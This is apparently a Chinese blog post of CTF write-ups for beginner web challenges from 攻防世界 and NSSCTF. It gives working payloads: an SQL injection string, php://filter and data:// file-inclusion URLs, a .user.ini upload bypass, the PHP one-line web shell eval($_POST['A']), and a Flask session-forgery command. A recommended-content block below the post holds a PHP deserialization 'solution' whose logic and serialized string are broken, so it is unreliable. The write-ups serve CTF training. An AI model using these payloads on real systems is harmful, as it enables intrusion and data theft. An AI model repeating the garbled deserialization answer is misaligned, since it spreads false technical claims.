攻防世界(web区,难度1,5道题)nssctf(web区,4道题)

攻防世界

一.inget

1.打开题目链接,阅读界面,猜出这是SQL注入的题目。
图片: 在这里插入图片描述
2.在URL后加上“/?id=’ or 1=1–+”(注意or左右各有一个空格),得到答案。
在这里插入图片描述

二.fileclude(NO.GFSJ1010)

1.打开题目链接,阅读界面,得知需要让file2的内容是hello ctf。
在这里插入图片描述
2.可以用data协议,用HackBar,在URL后加上“?file1=php://filter/convert.base64-encode/resource=flag.php&file2=data://text/plain,hello ctf”,得到一串字符。
在这里插入图片描述
3.通过base64解码得到flag。
在这里插入图片描述

三.fileinclude(NO.GFSJ1007)

1.打开题目链接,阅读界面,得知flag在flag.php。
在这里插入图片描述
2.查看源代码,得知设置cookie-language,就可以执行include($lan.“.php”)。
在这里插入图片描述
3.那么就可以用伪协议php://filter,在Cookies的框中输入“language=php://filter/convert.base64-encode/resource=flag”,得到一串字符。
在这里插入图片描述
在这里插入图片描述

4.通过base64解码得到flag。
在这里插入图片描述

四.Training-WWW-Robots

1.打开题目链接,阅读界面
在这里插入图片描述
翻译为:
在这里插入图片描述
2.根据提示,在URL后加上“/robots.txt”,得到下一步的提示。
在这里插入图片描述
3.在原URL后加上“/f10g.php”,得到flag。
在这里插入图片描述

五.easyupload

1.打开题目链接,阅读界面
在这里插入图片描述
2.先上传一个普通图片,返回上传路径是/uploads/jz.png
在这里插入图片描述
3.访问/uploads/看看是否有index.php页面。访问没有报404,存在。
在这里插入图片描述
4.确认存在页面后,就上传.user.ini,需要加个图片头,如GIF98a。
5.内容还过滤了php,可以短标签绕过。
6.然后直接用HackBar post,得到flag。

nssctf

一.导弹迷踪

1.打开题目链接,看到一个游戏界面
在这里插入图片描述
2.直接F12查看源代码,在在game.js中找到flag。
在这里插入图片描述

二.Follow me and hack me

1.打开题目链接,查看界面。
在这里插入图片描述
2.题目直接告诉了GET和POST传参的值,直接用HackerBar 直接传拿到flag。
在这里插入图片描述
在这里插入图片描述

三.作业管理系统

1.打开题目链接,查看界面,直接F12,查看源码,得到账号和密码
在这里插入图片描述
2.登录进去,创建文件,里面写入一句话木马“ <?php eval($_POST['A']);?>”。
在这里插入图片描述
在这里插入图片描述

3.用HackBar,得到flag
在这里插入图片描述

四.Flag点击就送

1.打开随便输个admin,回显提示你怎么可能是管理员哦!
2.json解密下,果然解密出来的name是我们输入的那一个
3.flask框架的session是存储在客户端的,那么就需要解决session是否会被恶意纂改的问题,而flask通过一个secret_key,也就是密钥对数据进行签名来防止session被纂改
4.那么这个key是什么呢,额,最后就是LitCTF,其实没给出提示来一般也可以猜测,都是一些简单或者和赛题方相关的东西{“name”: “admin”}
5.运行session伪造的脚本 python flask_session_cookie_manager3.py encode -s ‘LitCTF’ -t ‘{ “name”: “admin” }’
6.得到伪造的session值
7.把伪造好的session值传上去,即可得到flag

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
道题是一个 PHP 反序列化的目。 目描述: 提示:这次不会那么简单了,打开源代码看看? 源代码: ``` <?php error_reporting(0); highlight_file(__FILE__); class Show{ public $name; public $age; public function __construct($name,$age){ $this->name = $name; $this->age = $age; } public function __toString(){ return $this->name; } } class Flag{ public $show; public $data; public function __construct(){ $this->show = new Show('flag','0'); $this->data = file_get_contents('/flag'); } public function __destruct(){ if(preg_match('/show|flag|_|\s|\(|\)|{|}|\'|\"/i',$this->show)){ exit('hacker!'); } echo $this->show." is ".$this->data; } } if(isset($_GET['a'])){ $a = unserialize($_GET['a']); if($a instanceof Flag){ echo $a; } } ``` 分析: 首先看到这是一个传入参数进行反序列化的目,传入参数为 $_GET['a'],并且在反序列化后判断其类型是否为 Flag,如果是则输出 $a。 在 Flag 类的构造函数中有一个 $this->data = file_get_contents('/flag'),意味着我们需要获取服务器上的 /flag 文件。 而在 Flag 类的析构函数中,会对 $this->show 变量进行正则匹配,匹配的正则表达式为 /show|flag|_|\s|\(|\)|{|}|\'|\"/i,如果匹配到就会输出 'hacker!'。这里需要注意的是,$this->show 的值是 Show 类的一个实例,而 Show 类中的 __toString() 方法返回的是 $this->name 的值。 因此,我们需要构造一个序列化后的字符串,使得在反序列化后其类型为 Flag,$this->show 的值为一个 Show 类的实例,且该实例的 $name 值满足正则表达式的匹配条件。 解法: 根据目分析,我们需要构造一个序列化后的字符串,使得在反序列化后其类型为 Flag,$this->show 的值为一个 Show 类的实例,且该实例的 $name 值满足正则表达式的匹配条件。 我们可以通过手动构造序列化字符串来实现这个目标。首先构造一个 Show 类的实例,该实例的 $name 值为一个正则表达式的匹配条件,然后将该实例作为 Flag 类的一个属性,最后将 Flag 类序列化即可。 构造序列化字符串的代码如下: ``` <?php class Show{ public $name; public $age; public function __construct($name,$age){ $this->name = $name; $this->age = $age; } public function __toString(){ return $this->name; } } class Flag{ public $show; public $data; public function __construct(){ $this->show = new Show('/show|flag|_|\s|\(|\)|{|}|\'|\"/i','0'); $this->data = file_get_contents('/flag'); } public function __destruct(){ if(preg_match('/show|flag|_|\s|\(|\)|{|}|\'|\"/i',$this->show)){ exit('hacker!'); } echo $this->show." is ".$this->data; } } // 序列化 Flag 类 $flag = new Flag(); $ser = serialize($flag); echo urlencode($ser); ``` 将上述代码保存为文件 unserialize3.php 并上传到服务器上,然后访问 http://your-ip/unserialize3.php,得到序列化后的字符串: ``` O:4:"Flag":2:{s:4:"show";O:4:"Show":2:{s:4:"name";s:23:"/show|flag|_|\s|\(|\)|{|}|'|\i";s:3:"age";s:1:"0";}s:4:"data";s:45:"flag{3c75f8e2-6eb1-4f50-8901-8c3e0ae63a07}";} ``` 最后将序列化后的字符串作为 $_GET['a'] 的值传入即可,访问 http://your-ip/unserialize3.php?a=O%3A4%3A%22Flag%22%3A2%3A%7Bs%3A4%3A%22show%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A4%3A%22name%22%3Bs%3A23%3A%22%2Fshow%7Cflag%7C_%7C%5Cs%7C%5C(%5C)%7B%7D%7C%27%7C%5C%22%5Ci%22%3Bs%3A3%3A%22age%22%3Bs%3A1%3A%220%22%3B%7Ds%3A4%3A%22data%22%3Bs%3A45%3A%22flag%7B3c75f8e2-6eb1-4f50-8901-8c3e0ae63a07%7D%22%3B%7D,即可得到 flag。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值